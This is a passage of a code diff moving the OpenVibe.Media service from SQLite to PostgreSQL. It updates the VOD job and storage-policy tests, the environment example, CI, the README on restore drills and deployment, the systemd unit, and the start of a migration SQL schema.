must be the tenant's ──++ const gv = await makeVod('games.mp4', { app: 'games' });++ await assert.rejects(async () => await job.spec.validate({ appId: 'live', obj: null, params: { vod_id: gv } }), (e) => e.code === 'media.job.not_found');++ assert.deepStrictEqual(await job.spec.validate({ appId: 'games', obj: null, params: { vod_id: gv } }), { vod_id: gv });++ await assert.rejects(async () => await job.spec.validate({ appId: 'games', obj: null, params: {} }), (e) => e.code === 'media.job.invalid');++ console.log('✅ vod.finalize through the jobs API is scoped to the tenant\'s own VODs');-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('\n✅ All vod.finalize job tests passed');-- process.exit(0);++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('\n✅ All vod.finalize job tests passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -9,69 +9,74 @@// selection, the free-space budget, the re-run cadence, and the upload deadline.const assert = require('assert');--const Database = require('better-sqlite3');--process.env.MEDIA_B2_ENDPOINT = process.env.MEDIA_B2_ENDPOINT || '';--const storage = require('../server/vod/vod-storage');--const { DEFAULTS, OFFLOADABLE_WHERE, needsDrain, drainSatisfied, isCritical, planNextDelayMs, uploadTimeoutMs } = storage;++(async () => {++ process.env.MEDIA_B2_ENDPOINT = process.env.MEDIA_B2_ENDPOINT || '';++ const storage = require('../server/vod/vod-storage');++ // The revisioned tier policies load once the database is open (server/index.js does this at boot).++ await storage.tierConfig.init(storage.DEFAULTS);++ await require('../server/objects/tier-policy').init();++ const { DEFAULTS, OFFLOADABLE_WHERE, needsDrain, drainSatisfied, isCritical, planNextDelayMs, uploadTimeoutMs } = storage;--const GB = 1024 * 1024 * 1024;--const disk = (usePct, freeGb, totalGb = 96) => ({ total: totalGb * GB, used: (totalGb - freeGb) * GB, available: freeGb * GB, usePct, mount: '/' });++ const GB = 1024 * 1024 * 1024;++ const disk = (usePct, freeGb, totalGb = 96) => ({ total: totalGb * GB, used: (totalGb - freeGb) * GB, available: freeGb * GB, usePct, mount: '/' });--// ── Candidate selection: only rows with a real, non-quarantined local file ──--const db = new Database(':memory:');--db.exec(`CREATE TABLE vods (-- id INTEGER PRIMARY KEY, file_path TEXT, file_size INTEGER, storage_provider TEXT,-- is_recording INTEGER, health_status TEXT, view_count INTEGER, last_accessed_at TEXT,-- created_at TEXT DEFAULT (datetime('now', '-2 days'))--)`);--const ins = db.prepare('INSERT INTO vods (id, file_path, file_size, storage_provider, is_recording, health_status) VALUES (?, ?, ?, ?, ?, ?)');--ins.run(1, '/data/vods/real-a.mp4', 15 * GB, 'local', 0, 'ok'); // real recording--ins.run(2, '/data/vods/real-b.webm', 2 * GB, null, 0, null); // real, provider/health NULL (legacy rows)--ins.run(3, null, 0, 'local', 0, null); // ghost: never got a file--ins.run(4, '/opt/hobostreamer/data/vods/old.webm', 0, 'local', 0, 'missing_file'); // quarantined legacy path--ins.run(5, '/data/vods/zero.webm', 0, 'local', 0, 'zero_byte'); // quarantined zero-byte--ins.run(6, '/data/vods/live.mp4', 1 * GB, 'local', 1, 'ok'); // still recording--ins.run(7, '/data/vods/cold.mp4', 8 * GB, 'b2', 0, 'ok'); // already offloaded++ // ── Candidate selection: only rows with a real, non-quarantined local file ──++ // A database of its own with just the columns the rule reads (PGlite).++ const db = require('openvibe-sdk/db').createDb({ pglite: true, service: 'policy-test' });++ await db.exec(`CREATE TABLE vods (++ id bigint PRIMARY KEY, file_path text, file_size bigint, storage_provider text,++ is_recording bigint, health_status text, view_count bigint, last_accessed_at text,++ created_at text DEFAULT to_char((now() AT TIME ZONE 'UTC') - interval '2 days', 'YYYY-MM-DD HH24:MI:SS')++ )`);++ const ins = db.prepare('INSERT INTO vods (id, file_path, file_size, storage_provider, is_recording, health_status) VALUES (?, ?, ?, ?, ?, ?) RETURNING id');++ await ins.run(1, '/data/vods/real-a.mp4', 15 * GB, 'local', 0, 'ok'); // real recording++ await ins.run(2, '/data/vods/real-b.webm', 2 * GB, null, 0, null); // real, provider/health NULL (legacy rows)++ await ins.run(3, null, 0, 'local', 0, null); // ghost: never got a file++ await ins.run(4, '/opt/hobostreamer/data/vods/old.webm', 0, 'local', 0, 'missing_file'); // quarantined legacy path++ await ins.run(5, '/data/vods/zero.webm', 0, 'local', 0, 'zero_byte'); // quarantined zero-byte++ await ins.run(6, '/data/vods/live.mp4', 1 * GB, 'local', 1, 'ok'); // still recording++ await ins.run(7, '/data/vods/cold.mp4', 8 * GB, 'b2', 0, 'ok'); // already offloaded--const picked = db.prepare(`SELECT id FROM vods WHERE ${OFFLOADABLE_WHERE} ORDER BY id`).all().map(r => r.id);--assert.deepStrictEqual(picked, [1, 2], `only real local finished files are offload candidates, got ${picked}`);--console.log('✅ ghost / quarantined / recording / offloaded rows are never offload candidates');++ const picked = (await db.prepare(`SELECT id FROM vods WHERE ${OFFLOADABLE_WHERE} ORDER BY id`).all()).map(r => r.id);++ assert.deepStrictEqual(picked, [1, 2], `only real local finished files are offload candidates, got ${picked}`);++ console.log('✅ ghost / quarantined / recording / offloaded rows are never offload candidates');--// ── Free-space budget: percent OR GB floor triggers, both must be satisfied to stop ──--assert.strictEqual(needsDrain(disk(96, 4), DEFAULTS), true, '96% full must drain');--assert.strictEqual(needsDrain(disk(50, 48), DEFAULTS), false, 'half-empty disk is fine');--assert.strictEqual(needsDrain(disk(65, 20), DEFAULTS), true, 'below the percent ceiling but under the GB floor still drains');--assert.strictEqual(needsDrain(disk(75, 400, 1600), DEFAULTS), true, 'percent ceiling applies even with lots of absolute space');--assert.strictEqual(needsDrain({ total: 0, available: 0, usePct: 0 }, DEFAULTS), false, 'unknown disk never drains');++ // ── Free-space budget: percent OR GB floor triggers, both must be satisfied to stop ──++ assert.strictEqual(needsDrain(disk(96, 4), DEFAULTS), true, '96% full must drain');++ assert.strictEqual(needsDrain(disk(50, 48), DEFAULTS), false, 'half-empty disk is fine');++ assert.strictEqual(needsDrain(disk(65, 20), DEFAULTS), true, 'below the percent ceiling but under the GB floor still drains');++ assert.strictEqual(needsDrain(disk(75, 400, 1600), DEFAULTS), true, 'percent ceiling applies even with lots of absolute space');++ assert.strictEqual(needsDrain({ total: 0, available: 0, usePct: 0 }, DEFAULTS), false, 'unknown disk never drains');--assert.strictEqual(drainSatisfied(disk(60, 38), DEFAULTS), false, 'at the percent low-water but under the GB target keeps draining');--assert.strictEqual(drainSatisfied(disk(55, 43), DEFAULTS), true, 'both targets met stops the drain');--assert.strictEqual(drainSatisfied(disk(70, 500, 1600), DEFAULTS), false, 'above the percent low-water keeps draining on big disks');++ assert.strictEqual(drainSatisfied(disk(60, 38), DEFAULTS), false, 'at the percent low-water but under the GB target keeps draining');++ assert.strictEqual(drainSatisfied(disk(55, 43), DEFAULTS), true, 'both targets met stops the drain');++ assert.strictEqual(drainSatisfied(disk(70, 500, 1600), DEFAULTS), false, 'above the percent low-water keeps draining on big disks');--assert.strictEqual(isCritical(disk(90, 9), DEFAULTS), true);--assert.strictEqual(isCritical(disk(89, 10), DEFAULTS), false);--console.log('✅ free-space budget: percent ceiling OR GB floor start a drain; both targets end it');++ assert.strictEqual(isCritical(disk(90, 9), DEFAULTS), true);++ assert.strictEqual(isCritical(disk(89, 10), DEFAULTS), false);++ console.log('✅ free-space budget: percent ceiling OR GB floor start a drain; both targets end it');--// ── Cadence: come back quickly while a drain is making (or could make) progress ──--assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 3 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'progress under pressure → soon');--assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, skippedBackoff: 2 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'candidates in back-off → soon');--assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, errors: [{ id: 1 }] }, DEFAULTS), DEFAULTS.pressureRetryMs, 'failed uploads → retry soon');--assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'nothing eligible → no point hammering');--assert.strictEqual(planNextDelayMs({ stillNeedsDrain: false, migrated: 5 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'drain satisfied → regular interval');--assert.strictEqual(planNextDelayMs(null, DEFAULTS), DEFAULTS.sweepIntervalMs, 'skipped/failed sweep → regular interval');--assert.ok(DEFAULTS.pressureRetryMs < DEFAULTS.sweepIntervalMs);--console.log('✅ sweep re-runs within minutes while a drain is still needed');++ // ── Cadence: come back quickly while a drain is making (or could make) progress ──++ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 3 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'progress under pressure → soon');++ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, skippedBackoff: 2 }, DEFAULTS), DEFAULTS.pressureRetryMs, 'candidates in back-off → soon');++ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0, errors: [{ id: 1 }] }, DEFAULTS), DEFAULTS.pressureRetryMs, 'failed uploads → retry soon');++ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: true, migrated: 0 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'nothing eligible → no point hammering');++ assert.strictEqual(planNextDelayMs({ stillNeedsDrain: false, migrated: 5 }, DEFAULTS), DEFAULTS.sweepIntervalMs, 'drain satisfied → regular interval');++ assert.strictEqual(planNextDelayMs(null, DEFAULTS), DEFAULTS.sweepIntervalMs, 'skipped/failed sweep → regular interval');++ assert.ok(DEFAULTS.pressureRetryMs < DEFAULTS.sweepIntervalMs);++ console.log('✅ sweep re-runs within minutes while a drain is still needed');--// ── Upload deadline scales with size so a hung 15 GB multipart cannot hold the sweep forever ──--const t100mb = uploadTimeoutMs(100 * 1024 * 1024, DEFAULTS);--const t15gb = uploadTimeoutMs(15 * GB, DEFAULTS);--assert.ok(t100mb >= DEFAULTS.uploadTimeoutFloorMs && t100mb < DEFAULTS.uploadTimeoutFloorMs + 2 * 60 * 1000, 'small file ≈ floor');--assert.ok(t15gb > 2 * 60 * 60 * 1000 && t15gb < 4 * 60 * 60 * 1000, `15 GB at 2 MB/s ≈ 2–3 h, got ${Math.round(t15gb / 60000)} min`);--console.log('✅ upload deadline = floor + size / minimum throughput');++ // ── Upload deadline scales with size so a hung 15 GB multipart cannot hold the sweep forever ──++ const t100mb = uploadTimeoutMs(100 * 1024 * 1024, DEFAULTS);++ const t15gb = uploadTimeoutMs(15 * GB, DEFAULTS);++ assert.ok(t100mb >= DEFAULTS.uploadTimeoutFloorMs && t100mb < DEFAULTS.uploadTimeoutFloorMs + 2 * 60 * 1000, 'small file ≈ floor');++ assert.ok(t15gb > 2 * 60 * 60 * 1000 && t15gb < 4 * 60 * 60 * 1000, `15 GB at 2 MB/s ≈ 2–3 h, got ${Math.round(t15gb / 60000)} min`);++ console.log('✅ upload deadline = floor + size / minimum throughput');--// ── Status surface exists for dashboards / health checks ──--assert.ok(typeof storage.getStatus === 'function');--console.log('✅ policy helpers exported for status reporting');++ // ── Status surface exists for dashboards / health checks ──++ assert.ok(typeof storage.getStatus === 'function');++ console.log('✅ policy helpers exported for status reporting');--console.log('\n✅ All VOD storage policy tests passed');++ console.log('\n✅ All VOD storage policy tests passed');++})().catch((err) => { console.error(err); process.exit(1); });
@@ -8,12 +8,20 @@ NODE_ENV=development
@@ -8,12 +8,20 @@ NODE_ENV=development
# Public base URL used when building absolute playback/asset URLs.
# Public base URL used when building absolute playback/asset URLs.
MEDIA_PUBLIC_URL=https://openvibe.media
MEDIA_PUBLIC_URL=https://openvibe.media
-# Database (better-sqlite3, WAL)
+# PostgreSQL (ADR-035), written by OpenVibe.Host roles/data/add-service.sh media: the runtime role through PgBouncer,
+# the owner on a direct connection (migrations and the one-time import), and Valkey (shared limit counters).
+# Without DATABASE_URL, development uses an embedded PGlite database in data/pglite.
+DATABASE_URL=
+DATABASE_DIRECT_URL=
+VALKEY_URL=
+VALKEY_PREFIX=
+# The SQLite file of releases before PostgreSQL: read once by scripts/migrate-to-postgres.js.
DB_PATH=./data/media.db
DB_PATH=./data/media.db
# Restore-drill mode, set only by `ovhost drill media` (OpenVibe.Host docs/restore-drills.md): reads
# Restore-drill mode, set only by `ovhost drill media` (OpenVibe.Host docs/restore-drills.md): reads
# only from a restored copy, no stored bytes, no jobs, webhooks, events or ffmpeg; refuses to start
# only from a restored copy, no stored bytes, no jobs, webhooks, events or ffmpeg; refuses to start
-# unless DB_PATH is outside the checkout, HOST is loopback and PORT is not 4100 (server/drill.js).
+# unless DATABASE_URL names the restored copy (never ov_media on 5432/6432), DATABASE_DIRECT_URL is unset,
+# HOST is loopback and PORT is not 4100 (server/drill.js).
# MEDIA_DRILL=1
# MEDIA_DRILL=1
# Storage paths (all created on boot)
# Storage paths (all created on boot)
@@ -6,11 +6,13 @@ on:
@@ -6,11 +6,13 @@ on:
jobs:
jobs:
# install, node --check, npm test (with test/n-1.test.js: the previous release's pages and SDK calls,
# install, node --check, npm test (with test/n-1.test.js: the previous release's pages and SDK calls,
# and its SQL, against this one, from test/fixtures/n-1) and openvibe-contracts-check: the shared test
# and its SQL, against this one, from test/fixtures/n-1) and openvibe-contracts-check: the shared test
- # job (Track Q).
+ # job (Track Q). ADR-035: PostgreSQL 18 + PgBouncer (transaction mode) + Valkey 9 containers (openvibe-sdk
+ # scripts/test-services.sh); npm test runs every file on PGlite, test:pg runs them all through PgBouncer.
test:
test:
uses: OpenVibers/OpenVibe.Shared/.github/workflows/test.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176
uses: OpenVibers/OpenVibe.Shared/.github/workflows/test.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176
with:
with:
contracts-service: media
contracts-service: media
+ test: 'eval "$(node_modules/openvibe-sdk/scripts/test-services.sh up)" && npm test && npm run test:pg'
# Secret scan (gitleaks) and dependency audit, shared by every OpenVibers repo (Track Q).
# Secret scan (gitleaks) and dependency audit, shared by every OpenVibers repo (Track Q).
security:
security:
uses: OpenVibers/OpenVibe.Shared/.github/workflows/security.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176
uses: OpenVibers/OpenVibe.Shared/.github/workflows/security.yml@423fe519b5fe9594cc81b670e5ba5cb9f21f6176
@@ -17,12 +17,14 @@ cp .env.example .env # set MEDIA_APPS_SEED at minimum
@@ -17,12 +17,14 @@ cp .env.example .env # set MEDIA_APPS_SEED at minimum
npm start # node server/index.js
npm start # node server/index.js
```
```
-Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. SQLite (better-sqlite3, WAL).
+Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. PostgreSQL 18 and Valkey 9 (OpenVibe.Host `roles/data/`, ADR-035);
+without `DATABASE_URL`, development uses an embedded PGlite database in `data/pglite`.
## Owns
## Owns
- VODs (recording from RTMP or RTP, chunk ingest, finalize), clips (cutting), thumbnails, generic files
- VODs (recording from RTMP or RTP, chunk ingest, finalize), clips (cutting), thumbnails, generic files
- and avatars, in one SQLite database (`media.db`) and the local media directories
+ and avatars, in one PostgreSQL database (`ov_media` on the host's data role; schema in [migrations/](migrations/))
+ and the local media directories
- the canonical object model (`/api/v2`: objects, locations, variants, holds, derivatives, lifecycle,
- the canonical object model (`/api/v2`: objects, locations, variants, holds, derivatives, lifecycle,
namespaces) and its jobs (`media_jobs`)
namespaces) and its jobs (`media_jobs`)
- storage tiering (local, Backblaze B2, Cloudflare R2), copy verification and the disk guardian
- storage tiering (local, Backblaze B2, Cloudflare R2), copy verification and the disk guardian
@@ -42,8 +44,8 @@ Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. SQLite (better-sqlite3, WAL).
@@ -42,8 +44,8 @@ Requires Node ≥ 20, `ffmpeg`/`ffprobe` on PATH. SQLite (better-sqlite3, WAL).
export and deletion), OpenVibe.Live (`live.lineage.resolve`), OpenVibe.Events (the outbox relay and
export and deletion), OpenVibe.Live (`live.lineage.resolve`), OpenVibe.Events (the outbox relay and
the account and revocation subscriptions)
the account and revocation subscriptions)
- Backblaze B2 and Cloudflare R2 (S3 API) when configured; `ffmpeg`/`ffprobe` on the host
- Backblaze B2 and Cloudflare R2 (S3 API) when configured; `ffmpeg`/`ffprobe` on the host
-- `openvibe-contracts` v0.71.0, `openvibe-sdk` v0.12.0 (tokens, events outbox, per-actor limits),
- `openvibe-shared` v1.22.0, pinned by release tarball
+- `openvibe-contracts` v0.76.0, `openvibe-sdk` v0.21.2 (tokens, events outbox, per-actor limits),
+ `openvibe-shared` v1.28.0, pinned by release tarball
## Capabilities
## Capabilities
@@ -75,7 +77,7 @@ server/
@@ -75,7 +77,7 @@ server/
drill.js MEDIA_DRILL: restore-drill mode (reads only, no bytes, no jobs, nothing leaves)
drill.js MEDIA_DRILL: restore-drill mode (reads only, no bytes, no jobs, nothing leaves)
db/schema.sql apps, vods, clips, pastes(+likes/comments), files, content_views, media_settings,
db/schema.sql apps, vods, clips, pastes(+likes/comments), files, content_views, media_settings,
media_objects/locations/relationships/variants/jobs/holds/invariant_violations
media_objects/locations/relationships/variants/jobs/holds/invariant_violations
- db/database.js better-sqlite3 helpers, all app_id-scoped; legacy row importer
+ db/database.js PostgreSQL helpers (openvibe-sdk/db, async), all app_id-scoped
vod/recorder.js ffmpeg recording: RTMP pull + RTP (SDP) ingest, codec passthrough
vod/recorder.js ffmpeg recording: RTMP pull + RTP (SDP) ingest, codec passthrough
vod/media-tools.js probes, seekable remux, DVR sidecar, chunk-segment concat
vod/media-tools.js probes, seekable remux, DVR sidecar, chunk-segment concat
vod/finalize.js finalize pipeline (remux → probe → master recovery → thumbnail → webhook)
vod/finalize.js finalize pipeline (remux → probe → master recovery → thumbnail → webhook)
@@ -359,7 +361,7 @@ the app's webhook_secret>`. 3 attempts with backoff, 10 s timeout.
@@ -359,7 +361,7 @@ the app's webhook_secret>`. 3 attempts with backoff, 10 s timeout.
Each outcome is also a durable OpenVibe.Events event (`media.vod.ready|failed`,
Each outcome is also a durable OpenVibe.Events event (`media.vod.ready|failed`,
`media.clip.ready|failed`, `media.object.uploaded`, `media.storage.alert|recovered`;
`media.clip.ready|failed`, `media.object.uploaded`, `media.storage.alert|recovered`;
-`server/events.js`). The outbox row is written in the **same SQLite transaction** as the state
+`server/events.js`). The outbox row is written in the **same transaction** as the state
change it describes (`webhooks.announce()`), so an outcome is never lost or announced for a
change it describes (`webhooks.announce()`), so an outcome is never lost or announced for a
rolled-back change; the webhook follows the commit and carries `event_id` = that event's id
rolled-back change; the webhook follows the commit and carries `event_id` = that event's id
(absent when the outbox is off), so an app that reads both paths (Live during its webhook →
(absent when the outbox is off), so an app that reads both paths (Live during its webhook →
@@ -378,12 +380,14 @@ that is deleted; none for sandbox tenants. `test/object-events.test.js`.
@@ -378,12 +380,14 @@ that is deleted; none for sandbox tenants. `test/object-events.test.js`.
## Restore drills (`MEDIA_DRILL=1`)
## Restore drills (`MEDIA_DRILL=1`)
-`ovhost drill media` (OpenVibe.Host `docs/restore-drills.md`) restores `media.db` from the latest
-backup and starts a second Media from this checkout on 127.0.0.1:14100 with `MEDIA_DRILL=1` and
-`DB_PATH` on the copy. In that mode (`server/drill.js`) Media:
+A restore drill starts a second Media from this checkout on 127.0.0.1:14100 with `MEDIA_DRILL=1` and
+`DATABASE_URL` naming a restored copy of the database (pgBackRest restores the cluster on a spare port; the Host's
+`ovhost drill media` still restores the SQLite backups of the releases before PostgreSQL and needs that step before
+it drills this one). In that mode (`server/drill.js`) Media:
-- refuses to start unless `DB_PATH` is set and outside the checkout and `/opt/openvibe.media`, `HOST`
- is loopback and `PORT` is not 4100 (before the database is opened);
+- refuses to start unless `DATABASE_URL` is set and does not name production's database (`ov_media` on 5432, or
+ PgBouncer's 6432), `DATABASE_DIRECT_URL` is unset (a drill never migrates), `HOST` is loopback and `PORT` is not
+ 4100 (before the database is opened), and opens the copy without migrating it;
- starts only its HTTP server: no app seeding, JWKS refresh, tiering sweep, health job, junk sweep,
- starts only its HTTP server: no app seeding, JWKS refresh, tiering sweep, health job, junk sweep,
clip re-cuts, copy verification, jobs worker, disk guardian, thumbnail cleanup, object purge,
clip re-cuts, copy verification, jobs worker, disk guardian, thumbnail cleanup, object purge,
backfill, orphan-recording finalize or Events relay; webhooks are never sent;
backfill, orphan-recording finalize or Events relay; webhooks are never sent;
@@ -444,7 +448,7 @@ Counters are per process (a restart forgets them). `test/actor-limits.test.js`.
@@ -444,7 +448,7 @@ Counters are per process (a restart forgets them). `test/actor-limits.test.js`.
| path | behavior |
| path | behavior |
|---|---|
|---|---|
| `GET /healthz` | liveness: the process answers (unchanged; it checks nothing else) |
| `GET /healthz` | liveness: the process answers (unchanged; it checks nothing else) |
-| `GET /api/ready` | readiness from real checks, each with `status`, `required`, `latency_ms`, `checked_at`. **Required** (503 when one fails): `db` (a query against the SQLite database), `storage_vods`, `storage_clips`, `storage_pastes`, `storage_thumbnails`, `storage_files`, `storage_objects` (a probe file is written and removed). **Optional** (listed in `degraded`, still 200): `network_jwks` (user JWTs and service tokens; app keys work without it), `remote_b2` / `remote_r2` (HeadBucket, at most once a minute; present only when the provider is configured), `events_outbox` (backlog over 1000 events). Also `recordings_in_progress`. |
+| `GET /api/ready` | readiness from real checks, each with `status`, `required`, `latency_ms`, `checked_at`. **Required** (503 when one fails): `db` (a real round trip that names the store, postgresql or pglite, and counts the tenants), `valkey` optional (skipped without `VALKEY_URL`), `storage_vods`, `storage_clips`, `storage_pastes`, `storage_thumbnails`, `storage_files`, `storage_objects` (a probe file is written and removed). **Optional** (listed in `degraded`, still 200): `network_jwks` (user JWTs and service tokens; app keys work without it), `remote_b2` / `remote_r2` (HeadBucket, at most once a minute; present only when the provider is configured), `events_outbox` (backlog over 1000 events). Also `recordings_in_progress`. |
| `GET /metrics` | Prometheus text (openvibe-shared/metrics) for **direct loopback callers only**; 404 through nginx. HTTP golden signals by route template, process metrics, `release_info`, `release_client_updates_total{outcome,reason}`, plus `media_recordings_in_progress`, `media_object_locations{provider,state}`, `media_objects{lifecycle_status}`, `media_events_outbox{status}` (only while the outbox runs), `media_job_stale_completions_total{action}` (job writes refused by the lease-token fence). |
| `GET /metrics` | Prometheus text (openvibe-shared/metrics) for **direct loopback callers only**; 404 through nginx. HTTP golden signals by route template, process metrics, `release_info`, `release_client_updates_total{outcome,reason}`, plus `media_recordings_in_progress`, `media_object_locations{provider,state}`, `media_objects{lifecycle_status}`, `media_events_outbox{status}` (only while the outbox runs), `media_job_stale_completions_total{action}` (job writes refused by the lease-token fence). |
| `GET /release.json` | release manifest (`registry.release-manifest@1` 1.1.0, openvibe-shared/release, ADR-016): deployed commit, package versions, components, contract ranges, `metrics_url`. The shared navbar's release-watch polls it. No components are declared, so every release still prompts open tabs to reload. |
| `GET /release.json` | release manifest (`registry.release-manifest@1` 1.1.0, openvibe-shared/release, ADR-016): deployed commit, package versions, components, contract ranges, `metrics_url`. The shared navbar's release-watch polls it. No components are declared, so every release still prompts open tabs to reload. |
| `POST /release-metrics` | open tabs' update reports (release-watch beacons, at most 4 KB; 30 a minute per connecting address, which behind nginx is the proxy, so one budget for all tabs; Sec-GPC/DNT dropped) into `release_client_updates_total` on `/metrics`. 403 in a restore drill, like every write. |
| `POST /release-metrics` | open tabs' update reports (release-watch beacons, at most 4 KB; 30 a minute per connecting address, which behind nginx is the proxy, so one budget for all tabs; Sec-GPC/DNT dropped) into `release_client_updates_total` on `/metrics`. 403 in a restore drill, like every write. |
@@ -569,26 +573,15 @@ guardian (refuses new recordings when free space is critical), stale live-thumb
@@ -569,26 +573,15 @@ guardian (refuses new recordings when free space is critical), stale live-thumb
cleanup, and an on-boot sweep that finalizes recordings orphaned by an unclean
cleanup, and an on-boot sweep that finalizes recordings orphaned by an unclean
shutdown.
shutdown.
-## Migration from the predecessor DB
+## Moving to PostgreSQL
-Every domain table carries `app_id TEXT NOT NULL DEFAULT 'live'`, and the new
-schema keeps all predecessor columns (including legacy `storage_tier`), so the
-cutover script can bulk-copy rows unchanged:
-
-```js
-const media = require('./server/db/database');
-const old = require('better-sqlite3')('/path/to/old-live.db', { readonly: true });
-for (const table of ['vods', 'clips', 'pastes', 'paste_likes', 'paste_comments', 'content_views']) {
- const rows = old.prepare(`SELECT * FROM ${table}`).all();
- console.log(table, media.importLegacyRows(table, rows, 'live'));
-}
-```
-
-`importLegacyRows` inserts by column-name intersection (unknown legacy columns
-ignored, new columns take defaults), preserves ids, backfills `app_id`, and is
-idempotent (`INSERT OR IGNORE`). After the copy, run
-`node server/vod/vod-storage.js migrate-legacy` to map legacy `storage_tier =
-'cold'` rows to provider `b2`.
+`scripts/migrate-to-postgres.js` is the one-time import of the SQLite `media.db` (`DB_PATH`) into `ov_media`
+(openvibe-sdk `runSqliteMigration`: migrations as the owner, every table copied into emptied tables, counts and
+checksums verified; `--pglite` rehearses it in memory). It runs while the service is stopped (OpenVibe.Host
+`roles/data/switch-service.sh media /opt/openvibe.media/data/media.db`); the SQLite file stays read-only for 7 days as
+the rollback. Timestamps stay SQLite's text (`ov_now()`, `datetime()`, `julianday()` in the migration); the retention
+hold guards and the object-change triggers are PL/pgSQL. (The predecessor-DB importer and its bulk-copy recipe were
+retired with the move.)
## Not ported
## Not ported
@@ -654,13 +647,14 @@ Reporting a vulnerability: [SECURITY.md](SECURITY.md). The rules the code keeps:
@@ -654,13 +647,14 @@ Reporting a vulnerability: [SECURITY.md](SECURITY.md). The rules the code keeps:
Production deploys with `sudo ovhost deploy media` on the host (strategy `git-checkout`: fetch,
Production deploys with `sudo ovhost deploy media` on the host (strategy `git-checkout`: fetch,
fast-forward `/opt/openvibe.media`, install on a lockfile change, restart, wait for `/api/ready`, 60 s).
fast-forward `/opt/openvibe.media`, install on a lockfile change, restart, wait for `/api/ready`, 60 s).
-ovhost refuses the restart while a VOD is recording (`vods.is_recording = 1`); `--wait-idle` holds it
-until none is. The unit is `openvibe-media.service` ([deploy/systemd/](deploy/systemd/openvibe-media.service),
-runs as `ubuntu`, data under `/opt/openvibe.media/data`) on `127.0.0.1:4100`, the env file
-`/etc/openvibe/media.env`; nginx serves `openvibe.media` from
+ovhost refuses the restart while a VOD is recording (`recordings_in_progress` on `/api/ready`); `--wait-idle`
+holds it until none is. The unit is `openvibe-media.service` ([deploy/systemd/](deploy/systemd/openvibe-media.service),
+runs as `ubuntu`, media under `/opt/openvibe.media/data`) on `127.0.0.1:4100`, the env file
+`/etc/openvibe/media.env`. The database is `ov_media` on the host's data role (`sudo /opt/openvibe.host/roles/data/add-service.sh media`
+writes its settings); the release migrates it at boot; nginx serves `openvibe.media` from
[deploy/nginx/openvibe.media.conf](deploy/nginx/openvibe.media.conf). After a deploy, record the N-1
[deploy/nginx/openvibe.media.conf](deploy/nginx/openvibe.media.conf). After a deploy, record the N-1
fixtures (`npm run n-1:record`).
fixtures (`npm run n-1:record`).
Rollback: ovhost puts the previous sha back by itself when `/api/ready` does not answer 2xx after the
Rollback: ovhost puts the previous sha back by itself when `/api/ready` does not answer 2xx after the
-restart; afterwards `sudo ovhost rollback media --to <sha>`. One blocker: `media_jobs` was rebuilt once
-into the `app_id` shape, so a release from before that change does not know the table.
+restart; afterwards `sudo ovhost rollback media --to <sha>`. A release from before PostgreSQL reads the SQLite
+`media.db` it left (read-only for 7 days after the switch); anything written since would need moving back first.
@@ -3,10 +3,10 @@
@@ -3,10 +3,10 @@
"stage": "beta",
"stage": "beta",
"code": true,
"code": true,
"plan": "OpenVibe End-to-End Realignment & Implementation Plan, revision 3 (20 Sep 2026)",
"plan": "OpenVibe End-to-End Realignment & Implementation Plan, revision 3 (20 Sep 2026)",
- "runtime": "node 22, express, better-sqlite3, ffmpeg",
+ "runtime": "node 22, express, PostgreSQL 18 (openvibe-sdk/db, async) + Valkey 9, ffmpeg",
"port": 4100,
"port": 4100,
"domain": "openvibe.media",
"domain": "openvibe.media",
- "contracts": "openvibe-contracts v0.71.0",
+ "contracts": "openvibe-contracts v0.76.0",
"capabilities": [
"capabilities": [
"media.object.upload",
"media.object.upload",
"media.object.read",
"media.object.read",
@@ -2,7 +2,8 @@
@@ -2,7 +2,8 @@
# Secrets live in /etc/openvibe/media.env (0600).
# Secrets live in /etc/openvibe/media.env (0600).
[Unit]
[Unit]
Description=OpenVibe.Media service
Description=OpenVibe.Media service
-After=network.target
+After=network.target postgresql.service pgbouncer.service valkey-server.service
+Wants=postgresql.service pgbouncer.service valkey-server.service
[Service]
[Service]
Type=simple
Type=simple
new file mode 100644
new file mode 100644
@@ -0,0 +1,646 @@
@@ -0,0 +1,646 @@
+-- phase: expand
+-- OpenVibe.Media on PostgreSQL (ADR-035, roadmap WS-X2): the tables as they were on SQLite (converted by openvibe-sdk
+-- tools/asyncify/sqlite-schema-to-pg: text COLLATE "C" compares like SQLite, integers are bigint, identities keep their ids),
+-- then the openvibe-publishing stores and the openvibe-sdk inbox and outbox. Generated once on 2026-09-28; never edited after it runs.
+-- SQLite's text timestamps and date functions (openvibe-sdk tools/asyncify SQLITE_DATE_FUNCTIONS).
+CREATE FUNCTION ov_ts(t text) RETURNS timestamp LANGUAGE plpgsql STABLE AS $$
+BEGIN
+ IF t IS NULL THEN RETURN NULL; END IF;
+ IF t = 'now' THEN RETURN statement_timestamp() AT TIME ZONE 'UTC'; END IF;
+ IF t ~ '\d\d:\d\d(:\d\d(\.\d+)?)?\s*(Z|[+-]\d\d(:?\d\d)?)$' THEN RETURN t::timestamptz AT TIME ZONE 'UTC'; END IF;
+ RETURN t::timestamp;
+EXCEPTION WHEN others THEN RETURN NULL;
+END $$;
